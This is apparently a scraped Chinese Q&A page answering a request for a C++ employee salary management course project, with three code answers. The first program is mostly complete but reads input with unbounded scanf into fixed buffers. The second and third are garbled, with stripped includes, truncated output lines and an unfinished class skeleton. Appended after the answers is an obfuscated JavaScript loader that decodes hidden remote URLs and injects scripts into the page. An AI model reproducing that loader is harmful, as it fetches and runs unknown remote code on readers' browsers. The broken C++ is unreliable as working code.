用C++编一个职工工资管理系统 课程设计

2025-04-02 08:04:02
推荐回答(3个)
回答1:

/*
设计:
1.采用文件方式存储所有的员工;
2.使用C++的STL库进行查找功能;
*/

#include
#include
#include
#include
#include
#include //STL查找函数
using namespace std;

#define STROEFILE "Employ.txt"//存储雇员的文本文件名

//雇员类型枚举
enum Enum_EmployType
{
EmptyEmployType,//空类型
Manager,//普通经理
Technician,//技术员
Seller,//销售员
SalesManager,//销售经理
};

//性别枚举
enum Enum_Gender
{
EmptyGender,//空类型
Male,//男
Female,//女
};

//雇员类
class Employ
{
public:
Enum_EmployType m_Type;//雇员类型枚举
int m_Number;//工号
string m_Name;//姓名
float m_Salary;//月工资
string m_Post;//岗位
int m_Age;//年龄
Enum_Gender m_Gender;//性别
public:
//无参构造函数
Employ()
{
m_Type = EmptyEmployType;
m_Number = 0;
m_Name = "";
m_Salary = 0.0;
m_Post = "";
m_Age = 0;
m_Gender = EmptyGender;
}

//拷贝构造函数
Employ(const Employ &otherData)
{
this->m_Age = otherData.m_Age;
this->m_Gender = otherData.m_Gender;
this->m_Name = otherData.m_Name;
this->m_Number = otherData.m_Number;
this->m_Post = otherData.m_Post;
this->m_Salary = otherData.m_Salary;
this->m_Type = otherData.m_Type;
}

//将字符号串转化为类对象,以便从文件中读出员工信息
void FromString(const char *inStr)
{
if ( NULL == inStr )
{
return;
}

char seps[] = "|";
char *token = NULL;
int i = 0;
token = strtok( (char *)inStr, seps );
while( token != NULL )
{
switch(i)
{
case 0://第1个字段为 雇员类型枚举
{
m_Type = (Enum_EmployType)(atoi(token));
break;
}
case 1://第2个字段为 工号
{
m_Number = atoi(token);
break;
}
case 2://第3个字段为 姓名
{
m_Name = token;
break;
}
case 3://第4个字段为 月工资
{
m_Salary = atof(token);
break;
}
case 4://第5个字段为 岗位
{
m_Post = token;
break;
}
case 5://第6个字段为 年龄
{
m_Age = atoi(token);
break;
}
case 6://第7个字段为 性别
{
m_Gender = (Enum_Gender)(atoi(token));
break;
}
}
//获取下一个字段
token = strtok( NULL, seps ); // C4996
i++;
}

}

//将本类转化为字符串,以便记录到文件,各字段之间用|(竖线)分隔
void ToStringForSave(string *outStr)
{
if ( NULL == outStr )
{
return;
}

char tmpValue[1024];//定义一个临时字符串转换不是字符串型的数据到字符串

//员工类型
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"%d",m_Type);
*outStr = tmpValue;
*outStr += "|";

//员工工号
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"%d",m_Number);
*outStr += tmpValue;
*outStr += "|";

//员工姓名
*outStr += m_Name;
*outStr += "|";

//员工月工资
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"%.2f",m_Salary);
*outStr += tmpValue;
*outStr += "|";

//员工岗位
*outStr += m_Post;
*outStr += "|";

//员工年龄
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"%d",m_Age);
*outStr += tmpValue;
*outStr += "|";

//员工性别
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"%d",m_Gender);
*outStr += tmpValue;
}
//将本类转化为字符串,以变显示在屏幕上
void ToStringForShow(string *outStr)
{
if ( NULL == outStr )
{
return;
}

char tmpValue[1024];//定义一个临时字符串转换不是字符串型的数据到字符串

//员工类型
memset(tmpValue,0x0,1024);
switch(m_Type)
{
case 0:
sprintf(tmpValue,"员工类型:空类型");
break;
case 1:
sprintf(tmpValue,"员工类型:普通经理");
break;
case 2:
sprintf(tmpValue,"员工类型:技术员");
break;
case 3:
sprintf(tmpValue,"员工类型:销售员");
break;
case 4:
sprintf(tmpValue,"员工类型:销售经理");
break;
}
*outStr = tmpValue;
*outStr += "\n";

//员工工号
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"员工工号%d",m_Number);
*outStr += tmpValue;
*outStr += "\n";

//员工姓名
*outStr += "员工姓名:";
*outStr += m_Name;
*outStr += "\n";

//员工月工资
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"员工月工资:%.2f",m_Salary);
*outStr += tmpValue;
*outStr += "\n";

//员工岗位
*outStr += "员工岗位:";
*outStr += m_Post;
*outStr += "\n";

//员工年龄
memset(tmpValue,0x0,1024);
sprintf(tmpValue,"员工年龄:%d",m_Age);
*outStr += tmpValue;
*outStr += "\n";

//员工性别
memset(tmpValue,0x0,1024);
switch(m_Gender)
{
case 0:
sprintf(tmpValue,"员工性别:保密");
break;
case 1:
sprintf(tmpValue,"员工性别:男");
break;
case 2:
sprintf(tmpValue,"员工性别:女");
break;
}
*outStr += tmpValue;

*outStr += "\n---";
}
//手动输入员工信息
void HandEnterInfo()
{
char tmpInput[1024];

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工类型(1-普通经理,2-技术员,3-销售员,4-销售经理,其他值-无类型) = ");
scanf("%s",tmpInput);
m_Type = (Enum_EmployType)(atoi(tmpInput));

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工工号 = ");
scanf("%s",tmpInput);
m_Number = atoi(tmpInput);

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工姓名 = ");
scanf("%s",tmpInput);
m_Name = tmpInput;

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工月工资 = ");
scanf("%s",tmpInput);
m_Salary = atof(tmpInput);

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工岗位 = ");
scanf("%s",tmpInput);
m_Post = tmpInput;

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工年龄 = ");
scanf("%s",tmpInput);
m_Age = atoi(tmpInput);

fflush(stdin);
memset(tmpInput,0x0,1024);
printf("员工性别(1-男,2-女,其他值-保密) = ");
scanf("%s",tmpInput);
m_Gender = (Enum_Gender)(atoi(tmpInput));

fflush(stdin);
}
public:
//重载赋值操作符
Employ & operator = (const Employ &otherData)
{
this->m_Age = otherData.m_Age;
this->m_Gender = otherData.m_Gender;
this->m_Name = otherData.m_Name;
this->m_Number = otherData.m_Number;
this->m_Post = otherData.m_Post;
this->m_Salary = otherData.m_Salary;
this->m_Type = otherData.m_Type;
return *this;
}
//重载等于(判断相等)操作符
//我自己定义为如果工号相等或者名字相等即为等于
bool operator == (const Employ &otherData)
{
if ( this->m_Name == otherData.m_Name || this->m_Number == otherData.m_Number )
{
return true;
}

return false;
}
};

//显示菜单的函数,返回选择项
//type为 1-表示显示主菜单
int ShowMenu()
{
printf("\t\t***************************************\n");
printf("\t\t\t员工管理系统\n");
printf("\t\t***************************************\n");
printf("\t\t1.增加员工.\n");
printf("\t\t2.修改员工信息.\n");
printf("\t\t3.删除员工信息.\n");
printf("\t\t4.显示所有员工信息.\n");
printf("\t\t5.按条件查找员工.\n");
printf("\t\t0.退出.\n\n");
fflush(stdin);
char Choose[1024];
int iChose = -1;
memset(Choose,0x0,1024);
printf("选择 = ");
scanf("%s",Choose);

try
{
iChose = atoi(Choose);
if ( iChose < 0 || iChose > 5 )
{
return ShowMenu();
}
return iChose;
}
catch(...)
{
return ShowMenu();
}
}

//将所有员工数据从文件读到内存
void ReadEmployData(vector *pInOutEmploys)
{
if ( NULL == pInOutEmploys )
{
return;
}

pInOutEmploys->clear();

FILE *pf = fopen(STROEFILE,"rt");
if ( NULL == pf )
{
if ( 2 == errno )//文件不存在
{
pf = fopen(STROEFILE,"wt");
if ( pf == NULL )
{
perror("打开员工存储文件失败:");
return;
}
}
else
{
perror("打开员工存储文件失败:");
return;
}
}

char tmpLineData[1024];
while ( ! feof(pf) )
{
//从文件中读取所有员工信息
memset(tmpLineData,0x0,1024);
fscanf(pf,"%s\n",tmpLineData);
if ( strlen(tmpLineData) < 1 )
{
break;
}
Employ aEmploy;//定义员工对象
aEmploy.FromString(tmpLineData);//调用将字符串转换为对象的函数
pInOutEmploys->push_back(aEmploy);//将获取到的一个员工信息添加到内存中
}

fclose(pf);
}

//将所有员工数据从内存写到文件
void WriteEmployData(const vector *pInEmploys)
{
if ( NULL == pInEmploys )
{
return;
}

FILE *pf = fopen(STROEFILE,"wt");
if ( NULL == pf )
{
perror("打开员工存储文件失败:");
return;
}

for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
Employ tmpEmploy = pInEmploys->at(i);//此时调用拷贝构造函数
string tmpLine;
tmpEmploy.ToStringForSave(&tmpLine);//将对象转换为字符串
fprintf(pf,"%s\n",tmpLine.c_str());//将字符串写到文件
}

fclose(pf);
}

//增加员工的函数
void AddEmploy(vector *pInEmploys)
{
if ( NULL == pInEmploys )
{
return;
}

Employ tmpEmploy;
tmpEmploy.HandEnterInfo();
//查找函数调用了Employ类的==操作符
vector::iterator found = find(pInEmploys->begin(),pInEmploys->end(),tmpEmploy);
if ( found == pInEmploys->end() )//没找到相同名字或相同工号的员工
{
pInEmploys->push_back(tmpEmploy);
}
else
{
string tmpOut;
found->ToStringForShow(&tmpOut);
printf("您输入的新员工与如下员工的姓名或工号重复,因此,不能添加您输入的员工.\n%s",tmpOut.c_str());
}
}

//显示所有员工信息函数
void ShowAllEmploy(const vector *pInEmploys)
{
if ( NULL == pInEmploys )
{
return;
}

printf("所有员工信息如下:\n===================================================\n");
if ( pInEmploys->size() < 1 )
{
printf("暂无信息\n");
}
else
{
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
Employ tmpEmploy = pInEmploys->at(i);
string tmpStr;
tmpEmploy.ToStringForShow(&tmpStr);
printf("%s\n",tmpStr.c_str());
}
}
printf("===================================================\n");
}

//按条件查找员工(ShowInFunc为真时在本函数内部显示找到的员工并忽略pInOutFound参数,为假时不显示找到的符合条件的员工由pInOutFound参数带回)
void FindEmploy(const vector *pInEmploys,vector *pInOutFound,bool ShowInFunc)
{
if ( NULL == pInEmploys)
{
return;
}

vector ForShowInThisFunc;
if ( ! ShowInFunc )
{
if ( NULL == pInOutFound )
{
return;
}
else
{
pInOutFound->clear();
}
}
else
{
pInOutFound = &ForShowInThisFunc;
}

fflush(stdin);
char Choose[1024];
int iChose = -1;
memset(Choose,0x0,1024);

while ( iChose == -1 )
{
printf("请选择条件(1-按雇员类型,2-工号,3-姓名,4-月工资,5-岗位,6-年龄,7-性别) = ");
scanf("%s",Choose);
try
{
iChose = atoi(Choose);
}
catch(...)
{
iChose = -1;
}
}

switch( iChose )
{
case 1://按雇员类型
{
printf("请选择类型(1-普通经理,2-技术员,3-销售员,4-销售经理,其他值-无类型) = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
try
{
iChose = atoi(Choose);
}
catch(...)
{
iChose = 0;
}
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Type == iChose )
{
pInOutFound->push_back(i);
}
}
break;
}
case 2://工号
{
printf("请输入工号 = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
try
{
iChose = atoi(Choose);
}
catch(...)
{
iChose = 0;
}
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Number == iChose )
{
pInOutFound->push_back(i);
}
}
break;
}
case 3://姓名
{
printf("请输入姓名 = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Name == Choose )
{
pInOutFound->push_back(i);
}
}
break;
}
case 4://月工资
{
printf("请输入月工资 = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
float gz = 0.0;
try
{
gz = atof(Choose);
}
catch(...)
{
gz = 0.0;
}
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Salary == gz )
{
pInOutFound->push_back(i);
}
}
break;
}
case 5://岗位
{
printf("请输入岗位 = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Post == Choose )
{
pInOutFound->push_back(i);
}
}
break;
}
case 6://年龄
{
printf("请输入年龄 = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
try
{
iChose = atoi(Choose);
}
catch(...)
{
iChose = -1;
}
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Age == iChose )
{
pInOutFound->push_back(i);
}
}
break;
}
case 7://性别
{
printf("请选择类型(1-男,2-女,其他值-保密) = ");
memset(Choose,0x0,1024);
scanf("%s",Choose);
try
{
iChose = atoi(Choose);
}
catch(...)
{
iChose = 0;
}
for ( unsigned int i = 0 ; i < pInEmploys->size() ; i++ )
{
if ( pInEmploys->at(i).m_Gender == iChose )
{
pInOutFound->push_back(i);
}
}
break;
}
}

if ( ShowInFunc )
{
printf("找到如下员工符合条件:\n=================================================\n");
if ( pInOutFound->size() < 1 )
{
printf("无员工符合.\n");
}
else
{
for ( unsigned int i = 0 ; i < pInOutFound->size() ; i++ )
{
string tmpOut;
Employ tmpEpl = pInEmploys->at(pInOutFound->at(i));
tmpEpl.ToStringForShow(&tmpOut);
printf("%s\n",tmpOut.c_str());
}
}
printf("=================================================\n");
}
}
//主函数
int main(void)
{
//所有员工数据
vector AllEmployDatas;

//程序启动时将所有员工数据从文件读到内存
ReadEmployData(&AllEmployDatas);

int Choose = ShowMenu();
while ( 0 != Choose )
{
switch( Choose )
{
case 1://增加员工
{
AddEmploy(&AllEmployDatas);
break;
}
case 2://修改员工信息
{
vector FoundEmploysIndex;
FindEmploy(&AllEmployDatas,&FoundEmploysIndex,false);
if ( FoundEmploysIndex.size() > 1 )
{
printf("暂时不支持一次修改多个员工信息,请更改查询条件查询到一个员工再修改!\n");
break;
}
else if ( FoundEmploysIndex.size() == 0 )
{
printf("没找到你想修改的员工信息,请更改查询条件查询到一个员工再修改!\n");
break;
}
int index = FoundEmploysIndex[0];
string tmpFound;
AllEmployDatas[index].ToStringForShow(&tmpFound);
printf("已找到你想修改的员工信息为:\n%s\n请重新录入此员工的信息:\n",tmpFound.c_str());
AllEmployDatas[index].HandEnterInfo();
break;
}
case 3://删除员工信息
{
vector FoundEmploysIndex;
FindEmploy(&AllEmployDatas,&FoundEmploysIndex,false);
if ( FoundEmploysIndex.size() > 1 )
{
printf("暂时不支持一次删除多个员工信息,请更改查询条件查询到一个员工再删除!\n");
break;
}
else if ( FoundEmploysIndex.size() == 0 )
{
printf("没找到你想删除的员工信息,请更改查询条件查询到一个员工再删除!\n");
break;
}
int index = FoundEmploysIndex[0];
string tmpFound;
AllEmployDatas[index].ToStringForShow(&tmpFound);
printf("已找到你想删除的员工信息为:\n%s\n请确认删除此员工的信息[y/n]: = ",tmpFound.c_str());

fflush(stdin);
char Choose[1024];
memset(Choose,0x0,1024);
scanf("%s",Choose);
if ( strcmp("Y",Choose) == 0 || strcmp("y",Choose) == 0 )
{
vector::iterator pointer = AllEmployDatas.begin()+index;
AllEmployDatas.erase(pointer);
}
break;
}
case 4://显示所有员工信息
{
ShowAllEmploy(&AllEmployDatas);
break;
}
case 5://按条件查找员工
{
FindEmploy(&AllEmployDatas,NULL,true);
break;
}
}

fflush(stdin);
printf("操作完成,按回车键继续...");
getchar();
Choose = ShowMenu();
}

//程序结束时将所有员工数据从内存写到文件
WriteEmployData(&AllEmployDatas);
//写完后清理
AllEmployDatas.clear();

return 0;
}

回答2:

#include
#include
#include
#include
#define FILENAME "staff.txt" //数据文件
/////////////////////////////////////////////
struct Staff //职工机构体
{
char CarNumber[10]; //卡号
char Name[10]; //姓名
int Month; //月份
float SPWages; //应发工资
float APWages; //实发工资
float Water; //水费
float Electrical; //电费
float Tax; //税金
};
////////////////////////////////////////////// 文件操作模块
FILE *FP; //全局文件指针
FILE * FileOpen(char FileName[]) //文件打开函数
{
FILE *fp;
if((fp=fopen(FileName,"r"))==NULL)
{
fp=fopen(FileName,"w");
cout<<"文件打开失败重新创建记录文件";
return fp;
}
fp=fopen(FileName,"r+");
return fp;
}

void FileClose(FILE *fp)
{
if(fclose(fp)==0)
cout<<"安全关闭"<else
cout<<"文件关闭失败"<}
////////////////////////////////////////////////
void Increase() //添加职工信息
{
FP=FileOpen(FILENAME);
Staff temp;
cout<cout<<"请输入姓名:";
cin>>temp.Name;
cout<<"请输入卡号:";
cin>>temp.CarNumber;
cout<<"请输入月份:";
cin>>temp.Month;
cout<<"请输入应发工资:";
cin>>temp.SPWages;
cout<<"请输入水费:";
cin>>temp.Water;
cout<<"请输入电费:";
cin>>temp.Electrical;
if(temp.SPWages<=800) temp.Tax=0;
if((temp.SPWages>800.0)&&(temp.SPWages<1400.0)) temp.Tax=(temp.SPWages-800)*0.05;
if(temp.SPWages>1400)
temp.APWages=temp.SPWages-temp.Water-temp.Electrical-temp.Tax;
fwrite(&temp,sizeof(temp),1,FP);
cout<<"信息添加成功,请选择浏览工资信息选项进行查看"<FileClose(FP);
}
//////////////////////////////////////////////
void PrintInformation() //浏览工资信息
{
FP=FileOpen(FILENAME);
rewind(FP);
Staff temp;
while(fread(&temp,sizeof(Staff),1,FP)==1)
{
cout<<"姓名:"< cout<<"卡号:"< cout<<"月份:"< cout<<"应发工资:"< cout<<"水费:"< cout<<"电费:"< cout<<"税金:"< cout<<"实发工资:"< cout<}
FileClose(FP);
}
//////////////////////////////////////////////////
void Statistics() //统计工资信息
{
Staff temp;
char nametemp[10];
float sum=0;
int monthstart=0,monthover=0;
cout<<"请输入统计的人员姓名:"<cin>>nametemp;
cout<<"请输入统计时间段的起始月份(如:3)";
cin>>monthstart;
cout<<"请输入统计时间段的终止月份(如:3)";
cin>>monthover;
FP=FileOpen(FILENAME);
while(fread(&temp,sizeof(Staff),1,FP)==1)
{
if(strcmp(temp.Name,nametemp)==0)
{
if(temp.Month>=monthstart&&temp.Month<=monthover)
{
sum=sum+temp.APWages;
}
}
}
cout<<"职工"<
}
////////////////////////////////////////////////
void NameSearch()
{
char tempname[10];
Staff temp;
cout<cout<<"请输入要查询的职工的名称:";
cin>>tempname;
FP=FileOpen(FILENAME);
while(fread(&temp,sizeof(Staff),1,FP)==1)
{
if(strcmp(temp.Name,tempname))
{
cout<<"姓名:"< cout<<"卡号:"< cout<<"月份:"< cout<<"应发工资:"< cout<<"水费:"< cout<<"电费:"< cout<<"税金:"< cout<<"实发工资:"< cout< }
}
FileClose(FP);
}
int Search()
{
int Choose=0;
while(1)
{
cout< cout<<"请选择查询方式"< cout<<"1、按照卡号查询"< cout<<"2、按照姓名查询"< cout<<"0、返回上级目录"< cout<<"请输入查询方式:"< cin>>Choose;
switch(Choose)
{
case 1:;break;
case 2:NameSearch();break;
case 0:return 0;break;
}
}
}
//////////////////////////////////////////////
void ShowMenu() //目录显示函数
{
int Choose=0;
while(1)
{
cout< cout<<"工资信息管理系统"< cout<<"1、添加工资信息。"< cout<<"2、浏览工资信息。"< cout<<"3、统计工资信息。"< cout<<"4、查询工资信息。"< cout<<"0、退出系统。"< cout<<"请输入服务类型:";
cin>>Choose;
switch(Choose)
{
case 1:Increase();break;
case 2:PrintInformation();break;
case 3:Statistics();break;
case 4:Search();break;
case 0:exit(0);break;
}
}
}
void main()
{
ShowMenu();
}

回答3:

1 #include
2 #include
3 using namespace std;
4
5 class jober
6 {
7 public:
8 virtual jober(int , string, int , string, int, string);
9 virtual ~jober();
10 virtual void insert_joberinfo()const; //增加员工信息
11 virtual void update_joberinfo()const; //更改员工信息
12 virtual void delete_joberinfo()const; //删除员工信息
13 virtual void show_joberinfo()const; //显示职工信息 按条件
14 virtual void show_jobersalaryinfo()const; //显示职工工资信息 按
15 virtual void search_jobergrade()const; //查找指定金额范围的职工
16
17 private:
18 int jober_no; //职工号
19 string jober_name; //职工姓名
20 int month_salary; //月薪
21 string job_type; //岗位
22 int jober_age; //年龄
23 string jober_gender; //性别
24
25 };
26 class manager:public jober
27 {
28 public:
29 manager(int , string, int , string, int, string,int manager_num
30 private:
31 int managernum;
32 };
33 class technichian:public jober
34 {
35 public:
36 technichian(int , string, int , string, int, string,int tech_nu
37 private:
38 int technum;
39 };
40 class sales:public jober
41 {
42 public:
43 sales(int , string, int , string, int, string,int sales_num);
44 private:
45 int salesnum;
46 };
47 class salesmanger:public jober
48 {
49 public:
50 salesmanger(int , string, int , string, int, string,int salesma
51 private:
52 int salesmangernum;
53 };
class showinfo:public manager,
55 public technichian,
56 public sales,
57 public salesmanger
58 {
59 public:
60 void showallinfo();
61 };
62 virtual jober(int joberno, string jobername, int monthsalary,
63 string jobtype, int joberage, string jobergender)
64 {
65 jober_no = joberno;
66 jober_name = jobername;
67 month_salary = monthsalary;
68 jober_type = jobtype;
69 jober_age = joberage;
70 jober_gender = jobergender;
71 }
72 virtual manger(int manager_num):jober(int, string, int, string,int ,str
73 {
74
75 }
整体框架有了

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 